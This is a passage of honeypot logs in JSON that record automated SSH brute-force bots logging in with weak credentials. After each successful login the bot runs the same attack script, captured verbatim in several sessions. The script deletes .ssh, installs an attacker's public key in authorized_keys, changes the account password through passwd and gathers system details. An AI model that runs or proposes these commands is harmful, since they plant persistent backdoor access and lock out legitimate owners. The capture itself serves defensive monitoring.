-l"},{"seq":21,"at":"2026-08-26T14:23:12.494614+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:23:12.777249+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:23:14.967051+00:00","kind":"output","latency_ms":null,"data":"top - 14:23:14 up 6 days, 11:13, 0 user, load average: 0.09, 0.11, 0.08\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:23:15.249273+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:23:16.508458+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:23:16.791520+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:23:18.754923+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:23:19.037371+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:23:20.471380+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:23:20.756374+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:23:21.687529+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:23:21.971044+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:23:23.808745+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cm123456","method":"password","accepted":true,"tier":"other"}]} {"id":"498fdbd3-e6c8-46aa-9355-e53893525174","name":"fearless-blazing-kudu","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":55560,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:22:56.220432+00:00","ended_at":"2026-08-26T14:22:58.063944+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eed4cdbe-d305-44c4-9410-6bfc1ff63951","name":"dewy-electric-seal","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":55556,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:22:53.874866+00:00","ended_at":"2026-08-26T14:22:55.643801+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da7d9251-1811-4279-b07c-312524051816","name":"glassy-forlorn-goldfinch","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60904,"username":"odoo17","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:21:13.030885+00:00","ended_at":"2026-08-26T14:21:14.884521+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T14:20:45.239673+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:20:45.533753+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:20:49.097468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:20:51.139855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:20:51.434251+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nzU9Llv6yq8Uh\\nzU9Llv6yq8Uh\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:20:51.728879+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nzU9Llv6yq8Uh\\nzU9Llv6yq8Uh\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:20:52.022515+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:20:52.572541+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:20:53.232615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:20:53.527083+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:20:53.894064+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:20:55.628424+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:20:55.927701+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:20:56.876506+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:20:57.172941+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:20:58.385085+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:20:58.688483+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:20:59.734089+00:00","kind":"output","latency_ms":null,"data":" 14:20:59 up 6 days, 11:11, 0 user, load average: 0.26, 0.23, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:21:00.031750+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:21:01.392443+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:21:01.686402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:21:03.520292+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:21:03.817824+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:21:05.339651+00:00","kind":"output","latency_ms":null,"data":"top - 14:21:05 up 6 days, 11:11, 0 user, load average: 0.26, 0.23, 0.21\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:21:05.640180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:21:07.341823+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:21:07.637082+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:21:09.344260+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:21:09.640081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:21:11.109931+00:00","kind":"output","latency_ms":null,"data":"odoo17"},{"seq":31,"at":"2026-08-26T14:21:11.407733+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:21:12.737959+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:21:13.032079+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:21:14.798051+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"odoo17","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8cb5fceb-d332-4d8e-9530-39bd2c22b51f","name":"tangled-lanky-skink","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60920,"username":"odoo17","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:20:48.150544+00:00","ended_at":"2026-08-26T14:20:49.009063+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"odoo17","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8a9eb9a5-4db0-440e-8105-0f45f6798991","name":"lofty-glacial-stork","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60918,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:20:46.151095+00:00","ended_at":"2026-08-26T14:20:47.556046+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"86a35e29-1a47-4b18-b09c-39cd181c00b0","name":"bronzed-whispering-quail","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64336,"username":"developer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:19:20.933243+00:00","ended_at":"2026-08-26T14:19:22.363330+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2266,"events":[{"seq":1,"at":"2026-08-26T14:18:53.447595+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:18:53.731462+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:18:57.696523+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:18:59.153642+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:18:59.438820+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password@123\\nZHbSfBbKVeaF\\nZHbSfBbKVeaF\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:18:59.726190+00:00","kind":"input","latency_ms":null,"data":"echo \"Password@123\\nZHbSfBbKVeaF\\nZHbSfBbKVeaF\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:19:00.010188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:19:00.877824+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:19:00.990186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:19:01.163136+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:19:01.802665+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:19:02.870888+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:19:03.158794+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:19:05.035734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:19:05.322920+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:19:06.594282+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:19:06.888090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:19:08.047842+00:00","kind":"output","latency_ms":null,"data":" 14:19:08 up 6 days, 11:09, 0 user, load average: 0.08, 0.1, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:19:08.335228+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:19:10.050821+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:19:10.338022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:19:11.322467+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:19:11.615638+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:19:13.238202+00:00","kind":"output","latency_ms":null,"data":"top - 14:19:13 up 6 days, 11:09, 0 user, load average: 0.08, 0.1, 0.05\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:19:13.530750+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:19:15.269044+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:19:15.556760+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:19:17.752593+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:19:18.045099+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:19:19.189927+00:00","kind":"output","latency_ms":null,"data":"developer"},{"seq":31,"at":"2026-08-26T14:19:19.478080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:19:20.647143+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:19:20.934021+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:19:22.280470+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"developer","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"83ae0dde-b1bd-47d8-97f5-571f61670e3e","name":"weathered-western-anteater","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61502,"username":"developer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:18:56.268088+00:00","ended_at":"2026-08-26T14:18:57.607495+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"developer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"386b8bb9-cc5d-42bd-bd1a-de791ef289fa","name":"gloomy-gritty-antelope","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61490,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:18:54.393623+00:00","ended_at":"2026-08-26T14:18:55.701436+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bbe057e8-b0ac-47a8-9558-f4834431a731","name":"jolly-vivid-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64410,"username":"tu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:17:27.267550+00:00","ended_at":"2026-08-26T14:17:29.291001+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-26T14:16:56.404535+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:16:56.698800+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:17:01.245061+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:17:02.867089+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:17:03.160541+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tu\\n7I9DanjVZFf1\\n7I9DanjVZFf1\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:17:03.455964+00:00","kind":"input","latency_ms":null,"data":"echo \"tu\\n7I9DanjVZFf1\\n7I9DanjVZFf1\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:17:03.749149+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:17:04.021187+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:17:04.658485+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:17:04.715056+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:17:05.006198+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:17:07.162406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:17:07.459086+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:17:09.431605+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:17:09.731022+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:17:11.704997+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:17:12.000549+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:17:13.130510+00:00","kind":"output","latency_ms":null,"data":" 14:17:13 up 6 days, 11:07, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:17:13.427107+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:17:15.184775+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:17:15.480431+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:17:17.576573+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:17:17.875522+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:17:18.903638+00:00","kind":"output","latency_ms":null,"data":"top - 14:17:18 up 6 days, 11:07, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:17:19.207275+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:17:20.705142+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:17:21.000958+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:17:22.836651+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:17:23.133107+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:17:24.624119+00:00","kind":"output","latency_ms":null,"data":"tu"},{"seq":31,"at":"2026-08-26T14:17:24.924134+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:17:26.959550+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:17:27.268383+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:17:29.202165+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tu","password":"tu","method":"password","accepted":true,"tier":"other"}]} {"id":"d9c6fddc-4228-4488-9c64-eb4c0cf979b9","name":"austere-nautical-anteater","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":64416,"username":"tu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:16:59.415511+00:00","ended_at":"2026-08-26T14:17:01.152261+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b29c98c7-77af-409f-bae0-c630255d45ff","name":"shaded-coral-numbat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":64412,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:16:57.311404+00:00","ended_at":"2026-08-26T14:16:58.870665+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f82a9f8f-5da6-4f38-ac45-0998b2c47e27","name":"russet-curious-addax","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":51294,"username":"minecraft","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:15:26.998405+00:00","ended_at":"2026-08-26T14:15:28.445703+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T14:14:57.813464+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:14:58.101615+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 